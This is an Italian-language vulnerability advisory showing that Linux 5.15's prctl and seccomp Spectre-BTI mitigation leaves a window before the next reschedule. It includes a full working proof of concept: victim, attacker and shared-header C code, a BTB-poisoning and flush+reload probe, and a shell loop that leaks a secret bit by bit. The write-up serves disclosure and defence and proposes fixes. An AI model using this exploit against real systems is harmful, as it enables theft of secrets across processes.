
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Quando abbiamo testato il tasso di successo degli attacchi Spectre-BTI, abbiamo rilevato uno schema strano nell'uso dell'API del kernel come mitigazione1. I nostri test hanno rivelato che il kernel Linux non riesce a mitigare correttamente l'attacco, lasciando il processo esposto per un breve periodo di tempo dopo la syscall.
Ulteriori indagini hanno mostrato che il kernel non emette un IBPB immediatamente durante la syscall. La funzione ib_prctl_set2 aggiorna i Thread Information Flags (TIF) per il task e aggiorna il MSR SPEC_CTRL nella funzione __speculation_ctrl_update 3, ma l'IBPB viene emesso solo al prossimo schedule, quando i bit TIF vengono controllati. Ciò lascia la vittima vulnerabile a valori già iniettati nel BTB prima della syscall prctl. Il comportamento viene corretto solo dopo che si verifica un reschedule del task. Inoltre, l'ingresso nel kernel (a causa della syscall stessa) non emette un IBPB negli scenari predefiniti (cioè quando il kernel si protegge tramite retpoline o eIBRS).
Eseguire un prctl per mitigare gli attacchi Spectre-BTI usando:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
porta alla funzione ib_prctl_set2 nel kernel 5.15. Quando viene usata l'opzione SPEC_DISABLE, il bit TIF per task_set_spec_ib_disable viene impostato e viene chiamata task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable chiama set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); e se il task target è quello corrente chiama speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current dopo il wrapper speculation_ctrl_update esegue __speculation_ctrl_update con tifp = ~tifp, qui viene eseguito l'aggiornamento del wrmsr per impostare STIBP ma nessun IBPB viene emesso:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
Anche la syscall seccomp usa ib_prctl_set2 come mitigazione, all'interno di arch_seccomp_spec_mitigate4, quindi con seccomp ci si aspetta lo stesso risultato.
Sebbene tramite analisi del codice siamo certi che la finestra per lo sfruttamento esista, non era chiaro se fosse abbastanza grande da permettere alla vittima di caricare segreti e all'attaccante di divulgarli (poiché ci si aspetta che i segreti non siano nello spazio degli indirizzi della vittima fino a quando non viene emessa la chiamata prctl). I test sono stati eseguiti su una macchina bare metal con supporto per le mitigazioni hardware, con una ubuntu 22.04.1 LTS installata:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
Il codice di test consiste in due processi che eseguono sullo stesso core logico. L'attaccante avvelena costantemente il BTB con l'indirizzo di un gadget spectre presente in un processo vittima. Il processo vittima misura il tasso di predizione errata controllando se una variabile di test è stata accessa dalla funzione gadget spectre. Di solito restituisce il seguente output:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Poi, PRCTL viene usato per mitigare l'attacco. La mitigazione può essere abilitata aggiungendo prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); all'inizio del programma. Ci si aspetta che questo mitighi l'attacco spectre-BTI:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Tuttavia, alcuni test hanno mostrato un risultato diverso:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
E cambiare il 'nice' (priorità) sembra influenzare il tasso di predizione errata:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
Ciò indica che prctl ha protetto il processo solo dopo il prossimo schedule, come compreso dall'analisi del codice. Un altro comportamento strano di questo test è che dopo un ramo errato, il percorso di speculazione dovrebbe essere corretto e il valore vero deve essere scritto nel BTB. Poiché non ci sono altri attaccanti sul thread fratello per riavvelenare il BTB, valori di predizione errata così alti sono inaspettati.
Per assicurarci che non si trattasse di un errore di misurazione abbiamo creato un semplice POC. Il codice della vittima esegue sempre una safe_function tramite un puntatore a funzione che è vulnerabile a un attacco spectre-BTI. La vittima richiede al kernel la protezione usando la syscall prctl (all'interno di protect_me). La vittima carica anche un segreto da un file di testo, mostrando che anche altre syscall non controllano il bit TIF né provocano un reschedule che forzerebbe un IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
La maggior parte delle funzioni libc sono state inserite in un header comune tra attaccante e vittima in modo che le funzioni spectre_gadget e spec condividano gli stessi indirizzi di memoria sia sulla vittima che sull'attaccante (altrimenti viene creata una voce .GOT e gli indirizzi cambiano). Questo non è un requisito e ci sono altri modi per posizionare i rami sugli stessi indirizzi e imitare il contesto della vittima, ma questo metodo è più semplice.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
L'attacco consiste nell'avvelenare il BTB chiamando la funzione spec e facendola diramare a spectre_gadget invece di safe_function. Dopo l'addestramento, il processo vittima viene creato ed esegue spec che fa una predizione errata verso spectre_gadget, che non dovrebbe mai essere eseguito. Il segreto viene divulgato attraverso un classico canale laterale flush+reload.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
Poiché la vittima riceve un argomento che può essere usato per scegliere il bit da divulgare attraverso il canale laterale, possiamo eseguire il processo vittima più volte mentre l'attaccante è in esecuzione:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
Questo produce il seguente file di testo:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
Nota che i bit 0 e 6 sono 1, quindi il primo carattere deve essere 0x41(A). Analizzando il file con un semplice script Python si vede:
The secret leaked is: b'Asuper_secret_flag'
che è il contenuto esatto presente in secret.txt usato dalla vittima.
Cambiare la chiamata prctl con seccomp usando syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); dopo aver caricato il segreto non previene l'attacco. Questo è previsto poiché internamente entrambe usano la stessa funzione ib_prctl_set per implementare la mitigazione.
L'attuale implementazione della syscall prctl per il controllo speculativo non riesce a proteggere l'utente dagli attaccanti che eseguono prima della mitigazione. Anche la mitigazione seccomp fallisce in questo scenario.
Per le applicazioni in modalità utente, un usleep dopo la chiamata prctl è sufficiente per forzare un reschedule e garantire la corretta mitigazione. Una possibile patch del kernel per questo attacco è emettere l'IBPB contemporaneamente all'impostazione di STIBP, in __speculation_ctrl_update 3 o chiamare schedule().
27 dicembre 2022 - Rilevato comportamento inaspettato su prctl
29 dicembre 2022 - Prima versione di questo documento
31 dicembre 2022 - Condiviso con il team di sicurezza del kernel Linux
2 febbraio 2023 - Report divulgato pubblicamente: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
“The Linux kernel user-space API guide: Speculation Control”. Link: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩